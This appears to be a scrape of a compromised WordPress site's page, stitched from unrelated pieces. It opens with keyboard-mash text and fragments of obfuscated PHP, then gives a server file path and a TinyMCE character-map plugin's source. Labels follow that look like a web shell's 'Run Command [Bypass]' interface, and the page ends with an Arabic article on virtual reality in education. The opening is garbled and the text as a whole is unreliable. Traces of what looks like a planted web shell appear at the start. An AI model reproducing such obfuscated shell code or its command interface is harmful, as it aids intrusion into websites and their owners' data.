财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/js/tinymce/plugins/charmap/plugin.js
(function () {
var charmap = (function () {
'use strict';
var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
var fireInsertCustomChar = function (editor, chr) {
return editor.fire('insertCustomChar', { chr: chr });
};
var Events = { fireInsertCustomChar: fireInsertCustomChar };
var insertChar = function (editor, chr) {
var evtChr = Events.fireInsertCustomChar(editor, chr).chr;
editor.execCommand('mceInsertContent', false, evtChr);
};
var Actions = { insertChar: insertChar };
var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');
var getCharMap = function (editor) {
return editor.settings.charmap;
};
var getCharMapAppend = function (editor) {
return editor.settings.charmap_append;
};
var Settings = {
getCharMap: getCharMap,
getCharMapAppend: getCharMapAppend
};
var isArray = global$1.isArray;
var getDefaultCharMap = function () {
return [
[
'160',
'no-break space'
],
[
'173',
'soft hyphen'
],
[
'34',
'quotation mark'
],
[
'162',
'cent sign'
],
[
'8364',
'euro sign'
],
[
'163',
'pound sign'
],
[
'165',
'yen sign'
],
[
'169',
'copyright sign'
],
[
'174',
'registered sign'
],
[
'8482',
'trade mark sign'
],
[
'8240',
'per mille sign'
],
[
'181',
'micro sign'
],
[
'183',
'middle dot'
],
[
'8226',
'bullet'
],
[
'8230',
'three dot leader'
],
[
'8242',
'minutes / feet'
],
[
'8243',
'seconds / inches'
],
[
'167',
'section sign'
],
[
'182',
'paragraph sign'
],
[
'223',
'sharp s / ess-zed'
],
[
'8249',
'single left-pointing angle quotation mark'
],
[
'8250',
'single right-pointing angle quotation mark'
],
[
'171',
'left pointing guillemet'
],
[
'187',
'right pointing guillemet'
],
[
'8216',
'left single quotation mark'
],
[
'8217',
'right single quotation mark'
],
[
'8220',
'left double quotation mark'
],
[
'8221',
'right double quotation mark'
],
[
'8218',
'single low-9 quotation mark'
],
[
'8222',
'double low-9 quotation mark'
],
[
'60',
'less-than sign'
],
[
'62',
'greater-than sign'
],
[
'8804',
'less-than or equal to'
],
[
'8805',
'greater-than or equal to'
],
[
'8211',
'en dash'
],
[
'8212',
'em dash'
],
[
'175',
'macron'
],
[
'8254',
'overline'
],
[
'164',
'currency sign'
],
[
'166',
'broken bar'
],
[
'168',
'diaeresis'
],
[
'161',
'inverted exclamation mark'
],
[
'191',
'turned question mark'
],
[
'710',
'circumflex accent'
],
[
'732',
'small tilde'
],
[
'176',
'degree sign'
],
[
'8722',
'minus sign'
],
[
'177',
'plus-minus sign'
],
[
'247',
'division sign'
],
[
'8260',
'fraction slash'
],
[
'215',
'multiplication sign'
],
[
'185',
'superscript one'
],
[
'178',
'superscript two'
],
[
'179',
'superscript three'
],
[
'188',
'fraction one quarter'
],
[
'189',
'fraction one half'
],
[
'190',
'fraction three quarters'
],
[
'402',
'function / florin'
],
[
'8747',
'integral'
],
[
'8721',
'n-ary sumation'
],
[
'8734',
'infinity'
],
[
'8730',
'square root'
],
[
'8764',
'similar to'
],
[
'8773',
'approximately equal to'
],
[
'8776',
'almost equal to'
],
[
'8800',
'not equal to'
],
[
'8801',
'identical to'
],
[
'8712',
'element of'
],
[
'8713',
'not an element of'
],
[
'8715',
'contains as member'
],
[
'8719',
'n-ary product'
],
[
'8743',
'logical and'
],
[
'8744',
'logical or'
],
[
'172',
'not sign'
],
[
'8745',
'intersection'
],
[
'8746',
'union'
],
[
'8706',
'partial differential'
],
[
'8704',
'for all'
],
[
'8707',
'there exists'
],
[
'8709',
'diameter'
],
[
'8711',
'backward difference'
],
[
'8727',
'asterisk operator'
],
[
'8733',
'proportional to'
],
[
'8736',
'angle'
],
[
'180',
'acute accent'
],
[
'184',
'cedilla'
],
[
'170',
'feminine ordinal indicator'
],
[
'186',
'masculine ordinal indicator'
],
[
'8224',
'dagger'
],
[
'8225',
'double dagger'
],
[
'192',
'A - grave'
],
[
'193',
'A - acute'
],
[
'194',
'A - circumflex'
],
[
'195',
'A - tilde'
],
[
'196',
'A - diaeresis'
],
[
'197',
'A - ring above'
],
[
'256',
'A - macron'
],
[
'198',
'ligature AE'
],
[
'199',
'C - cedilla'
],
[
'200',
'E - grave'
],
[
'201',
'E - acute'
],
[
'202',
'E - circumflex'
],
[
'203',
'E - diaeresis'
],
[
'274',
'E - macron'
],
[
'204',
'I - grave'
],
[
'205',
'I - acute'
],
[
'206',
'I - circumflex'
],
[
'207',
'I - diaeresis'
],
[
'298',
'I - macron'
],
[
'208',
'ETH'
],
[
'209',
'N - tilde'
],
[
'210',
'O - grave'
],
[
'211',
'O - acute'
],
[
'212',
'O - circumflex'
],
[
'213',
'O - tilde'
],
[
'214',
'O - diaeresis'
],
[
'216',
'O - slash'
],
[
'332',
'O - macron'
],
[
'338',
'ligature OE'
],
[
'352',
'S - caron'
],
[
'217',
'U - grave'
],
[
'218',
'U - acute'
],
[
'219',
'U - circumflex'
],
[
'220',
'U - diaeresis'
],
[
'362',
'U - macron'
],
[
'221',
'Y - acute'
],
[
'376',
'Y - diaeresis'
],
[
'562',
'Y - macron'
],
[
'222',
'THORN'
],
[
'224',
'a - grave'
],
[
'225',
'a - acute'
],
[
'226',
'a - circumflex'
],
[
'227',
'a - tilde'
],
[
'228',
'a - diaeresis'
],
[
'229',
'a - ring above'
],
[
'257',
'a - macron'
],
[
'230',
'ligature ae'
],
[
'231',
'c - cedilla'
],
[
'232',
'e - grave'
],
[
'233',
'e - acute'
],
[
'234',
'e - circumflex'
],
[
'235',
'e - diaeresis'
],
[
'275',
'e - macron'
],
[
'236',
'i - grave'
],
[
'237',
'i - acute'
],
[
'238',
'i - circumflex'
],
[
'239',
'i - diaeresis'
],
[
'299',
'i - macron'
],
[
'240',
'eth'
],
[
'241',
'n - tilde'
],
[
'242',
'o - grave'
],
[
'243',
'o - acute'
],
[
'244',
'o - circumflex'
],
[
'245',
'o - tilde'
],
[
'246',
'o - diaeresis'
],
[
'248',
'o slash'
],
[
'333',
'o macron'
],
[
'339',
'ligature oe'
],
[
'353',
's - caron'
],
[
'249',
'u - grave'
],
[
'250',
'u - acute'
],
[
'251',
'u - circumflex'
],
[
'252',
'u - diaeresis'
],
[
'363',
'u - macron'
],
[
'253',
'y - acute'
],
[
'254',
'thorn'
],
[
'255',
'y - diaeresis'
],
[
'563',
'y - macron'
],
[
'913',
'Alpha'
],
[
'914',
'Beta'
],
[
'915',
'Gamma'
],
[
'916',
'Delta'
],
[
'917',
'Epsilon'
],
[
'918',
'Zeta'
],
[
'919',
'Eta'
],
[
'920',
'Theta'
],
[
'921',
'Iota'
],
[
'922',
'Kappa'
],
[
'923',
'Lambda'
],
[
'924',
'Mu'
],
[
'925',
'Nu'
],
[
'926',
'Xi'
],
[
'927',
'Omicron'
],
[
'928',
'Pi'
],
[
'929',
'Rho'
],
[
'931',
'Sigma'
],
[
'932',
'Tau'
],
[
'933',
'Upsilon'
],
[
'934',
'Phi'
],
[
'935',
'Chi'
],
[
'936',
'Psi'
],
[
'937',
'Omega'
],
[
'945',
'alpha'
],
[
'946',
'beta'
],
[
'947',
'gamma'
],
[
'948',
'delta'
],
[
'949',
'epsilon'
],
[
'950',
'zeta'
],
[
'951',
'eta'
],
[
'952',
'theta'
],
[
'953',
'iota'
],
[
'954',
'kappa'
],
[
'955',
'lambda'
],
[
'956',
'mu'
],
[
'957',
'nu'
],
[
'958',
'xi'
],
[
'959',
'omicron'
],
[
'960',
'pi'
],
[
'961',
'rho'
],
[
'962',
'final sigma'
],
[
'963',
'sigma'
],
[
'964',
'tau'
],
[
'965',
'upsilon'
],
[
'966',
'phi'
],
[
'967',
'chi'
],
[
'968',
'psi'
],
[
'969',
'omega'
],
[
'8501',
'alef symbol'
],
[
'982',
'pi symbol'
],
[
'8476',
'real part symbol'
],
[
'978',
'upsilon - hook symbol'
],
[
'8472',
'Weierstrass p'
],
[
'8465',
'imaginary part'
],
[
'8592',
'leftwards arrow'
],
[
'8593',
'upwards arrow'
],
[
'8594',
'rightwards arrow'
],
[
'8595',
'downwards arrow'
],
[
'8596',
'left right arrow'
],
[
'8629',
'carriage return'
],
[
'8656',
'leftwards double arrow'
],
[
'8657',
'upwards double arrow'
],
[
'8658',
'rightwards double arrow'
],
[
'8659',
'downwards double arrow'
],
[
'8660',
'left right double arrow'
],
[
'8756',
'therefore'
],
[
'8834',
'subset of'
],
[
'8835',
'superset of'
],
[
'8836',
'not a subset of'
],
[
'8838',
'subset of or equal to'
],
[
'8839',
'superset of or equal to'
],
[
'8853',
'circled plus'
],
[
'8855',
'circled times'
],
[
'8869',
'perpendicular'
],
[
'8901',
'dot operator'
],
[
'8968',
'left ceiling'
],
[
'8969',
'right ceiling'
],
[
'8970',
'left floor'
],
[
'8971',
'right floor'
],
[
'9001',
'left-pointing angle bracket'
],
[
'9002',
'right-pointing angle bracket'
],
[
'9674',
'lozenge'
],
[
'9824',
'black spade suit'
],
[
'9827',
'black club suit'
],
[
'9829',
'black heart suit'
],
[
'9830',
'black diamond suit'
],
[
'8194',
'en space'
],
[
'8195',
'em space'
],
[
'8201',
'thin space'
],
[
'8204',
'zero width non-joiner'
],
[
'8205',
'zero width joiner'
],
[
'8206',
'left-to-right mark'
],
[
'8207',
'right-to-left mark'
]
];
};
var charmapFilter = function (charmap) {
return global$1.grep(charmap, function (item) {
return isArray(item) && item.length === 2;
});
};
var getCharsFromSetting = function (settingValue) {
if (isArray(settingValue)) {
return [].concat(charmapFilter(settingValue));
}
if (typeof settingValue === 'function') {
return settingValue();
}
return [];
};
var extendCharMap = function (editor, charmap) {
var userCharMap = Settings.getCharMap(editor);
if (userCharMap) {
charmap = getCharsFromSetting(userCharMap);
}
var userCharMapAppend = Settings.getCharMapAppend(editor);
if (userCharMapAppend) {
return [].concat(charmap).concat(getCharsFromSetting(userCharMapAppend));
}
return charmap;
};
var getCharMap$1 = function (editor) {
return extendCharMap(editor, getDefaultCharMap());
};
var CharMap = { getCharMap: getCharMap$1 };
var get = function (editor) {
var getCharMap = function () {
return CharMap.getCharMap(editor);
};
var insertChar = function (chr) {
Actions.insertChar(editor, chr);
};
return {
getCharMap: getCharMap,
insertChar: insertChar
};
};
var Api = { get: get };
var getHtml = function (charmap) {
var gridHtml, x, y;
var width = Math.min(charmap.length, 25);
var height = Math.ceil(charmap.length / width);
gridHtml = '<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>';
for (y = 0; y < height; y++) {
gridHtml += '<tr>';
for (x = 0; x < width; x++) {
var index = y * width + x;
if (index < charmap.length) {
var chr = charmap[index];
var charCode = parseInt(chr[0], 10);
var chrText = chr ? String.fromCharCode(charCode) : ' ';
gridHtml += '<td title="' + chr[1] + '">' + '<div tabindex="-1" title="' + chr[1] + '" role="button" data-chr="' + charCode + '">' + chrText + '</div>' + '</td>';
} else {
gridHtml += '<td />';
}
}
gridHtml += '</tr>';
}
gridHtml += '</tbody></table>';
return gridHtml;
};
var GridHtml = { getHtml: getHtml };
var getParentTd = function (elm) {
while (elm) {
if (elm.nodeName === 'TD') {
return elm;
}
elm = elm.parentNode;
}
};
var open = function (editor) {
var win;
var charMapPanel = {
type: 'container',
html: GridHtml.getHtml(CharMap.getCharMap(editor)),
onclick: function (e) {
var target = e.target;
if (/^(TD|DIV)$/.test(target.nodeName)) {
var charDiv = getParentTd(target).firstChild;
if (charDiv && charDiv.hasAttribute('data-chr')) {
var charCodeString = charDiv.getAttribute('data-chr');
var charCode = parseInt(charCodeString, 10);
if (!isNaN(charCode)) {
Actions.insertChar(editor, String.fromCharCode(charCode));
}
if (!e.ctrlKey) {
win.close();
}
}
}
},
onmouseover: function (e) {
var td = getParentTd(e.target);
if (td && td.firstChild) {
win.find('#preview').text(td.firstChild.firstChild.data);
win.find('#previewTitle').text(td.title);
} else {
win.find('#preview').text(' ');
win.find('#previewTitle').text(' ');
}
}
};
win = editor.windowManager.open({
title: 'Special character',
spacing: 10,
padding: 10,
items: [
charMapPanel,
{
type: 'container',
layout: 'flex',
direction: 'column',
align: 'center',
spacing: 5,
minWidth: 160,
minHeight: 160,
items: [
{
type: 'label',
name: 'preview',
text: ' ',
style: 'font-size: 40px; text-align: center',
border: 1,
minWidth: 140,
minHeight: 80
},
{
type: 'spacer',
minHeight: 20
},
{
type: 'label',
name: 'previewTitle',
text: ' ',
style: 'white-space: pre-wrap;',
border: 1,
minWidth: 140
}
]
}
],
buttons: [{
text: 'Close',
onclick: function () {
win.close();
}
}]
});
};
var Dialog = { open: open };
var register = function (editor) {
editor.addCommand('mceShowCharmap', function () {
Dialog.open(editor);
});
};
var Commands = { register: register };
var register$1 = function (editor) {
editor.addButton('charmap', {
icon: 'charmap',
tooltip: 'Special character',
cmd: 'mceShowCharmap'
});
editor.addMenuItem('charmap', {
icon: 'charmap',
text: 'Special character',
cmd: 'mceShowCharmap',
context: 'insert'
});
};
var Buttons = { register: register$1 };
global.add('charmap', function (editor) {
Commands.register(editor);
Buttons.register(editor);
return Api.get(editor);
});
function Plugin () {
}
return Plugin;
}());
})();
Run Command [Bypass]
Run Command
بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟ – tahkoom.com
كتبت شروق عارف
في ظل التطور التكنولوجي الحادث والابتكارات الجديدة ظهر العالم الافتراضي الذي أحدث ثورة في كافة المجالات مما جعلنا نطرح سؤال مهم ماذا لو أصبح التعليم مرتبط بالعالم الافتراضي؟ وكيف سيؤثر هذا الربط على الطلاب وتحصيلهم الأكاديمي ؟
ما هو العالم الافتراضي والميتافيرس؟
في البداية علينا تعريف العالم الافتراضي والميتافيرس العالم الافتراضي يعد تقنية تسمح للمستخدمين بالانخراط في بيئة ثلاثية الأبعاد و يتم إنشاؤها من خلال الحاسوب ويتيح العالم الافتراضي للمستخدمين الشعور بأنهم حاضرين في هذا العالم يحدث ذلك من خلال استخدام نظارات مخصصة كما عرف المركز الوطني للتعليم الإلكتروني العالم الافتراضي بأنه بيئة افتراضية بالكامل
أما الميتافيرس فهو عبارة عن عالم رقمي ثلاثي الأبعاد يحاكي الواقع ويتيح التفاعل الاجتماعي والترفيهي بمعنى أوضح يعد بيئة مفتوحة تمثل العالم الحقيقي تتيح لأي شخص التحرك في أي مكان داخل العالم الافتراضي هذه التقنية المتقدمة تخلق بيئة افتراضية تتيح للمستخدمين التفاعل معها بشكل واقعي
التعليم في العالم الافتراضي
في حالة ربط التعليم بالعالم الافتراضي سوف يحدث ذلك طفرة في أساليب التدريس من خلال خلق موارد تعليمية جديدة مما سيساهم بشكل كبير في تحسين تجربة التعليم من خلال تعزيز المشاركة وزيادة الاحتفاظ بالمعلومات سيتم ذلك من خلال إدخال الطالب في بيئة ثلاثية الأبعاد مما سيتيح له تجربة تعليمية فريدة من نوعها
مزايا وتحديات ربط التعليم بالعالم الافتراضي
من أهم المزايا التي يقدمها العالم الافتراضي للطلاب هو إعدادهم للعمل في المستقبل وذلك من خلال تزويدهم بخبرات لا حصر لها كما أن ربط التعليم بالعالم الافتراضي سيساهم بشكل كبير في زيادة القدرة على الاحتفاظ بالمعلومات بالإضافة إلى ذلك يمكن للعالم الافتراضي توفير تجارب تعليمية فريدة من نوعها باستخدام تقنية الواقع الافتراضي التي تتيح نقل الطلاب إلى أماكن وبيئات مختلفة قد لا يتمكنون من الوصول إليها بطرق تقليدية
ومع ذلك، تواجه هذه الفوائد عدة تحديات أبرزها التكلفة العالية حيث تعتبر معدات وبرامج الواقع الافتراضي باهظة الثمن بالإضافة إلى ذلك هناك نقص في تدريب المعلمين على استخدام تقنيات الواقع الافتراضي مما قد يؤدي إلى انخفاض في نتائج التعلم فعلى سبيل المثال تجربة نظام التابلت في أول سنة حققت فشل ذريع وذلك بسبب عدم فهم المعلمين والطلاب لطبيعة النظام
آراء متباينة حول فاعلية العالم الافتراضي
أوضح محمد عصام مدرس الفلسفة وعلم النفس في المرحلة الثانوية أن فكرة ربط التعليم بالعالم الافتراضي تعتبر مميزة للغاية ولكن أكد على ضرورة تطبيقها بشكل صحيح ومدروس وأضاف أن الإمكانيات الحالية في مصر لا تسمح بتطبيق هذه التقنية كما أضاف الاعتماد المفرط على التكنولوجيا في التعليم سوف يكون له آثار سلبية على الطلاب بالإضافة إلى أن العالم الافتراضي لا يمكن أن يحل محل المعلم
من جانبه قال محمود محسن مدرس اللغة العربية بالمرحلة الإعدادية إن إدخال العالم الافتراضي في التعليم قد يوثر بشكل إجابي في العملية التعليمية من حيث الشكل والمحتوى لكنه شدد على أهمية المعلم في التعليم موكدا أن التفاعل المباشر بين الطالب والمعلم يظل عنصرًا أساسيا لا يمكن الاستغناء عنه وأضاف محمود أن التعليم لا يقتصر فقط على المعلومات بل يشمل القيم والتربية والتوجيه وهي أمور يصعب نقلها بشكل فعال من خلال بيئة افتراضية بحتة
وعلي جانب اخر أضاف أحمد فؤاد مدرس الدراسات في المرحلة الابتدائية أن استخدام العالم الافتراضي في التعليم سيسهم بشكل كبير في تحسين مستوى تحصيل الطلاب خاصة في المرحلة الابتدائية وأوضح أن دمج التكنولوجيا في العملية التعليمية سيجعل الدراسة أكثر متعة مما قد يزيد من دافعية الطلاب للتعلم وتحسين استيعابهم للمحتوى
يمكن القول إن ربط التعليم بالعالم الافتراضي قد يسهم بشكل كبير في توسيع أفاقنا الفكرية وسوف يجعل التجربة التعليمية أكثر متعة ولكن مع ذلك يجب التعامل مع هذه التقنية بحذر حتى نتجنب الأثار السلبية وعلينا التأكد أن العالم الافتراضي لا يمكن أن يحلل محل المعلم
زر الذهاب إلى الأعلى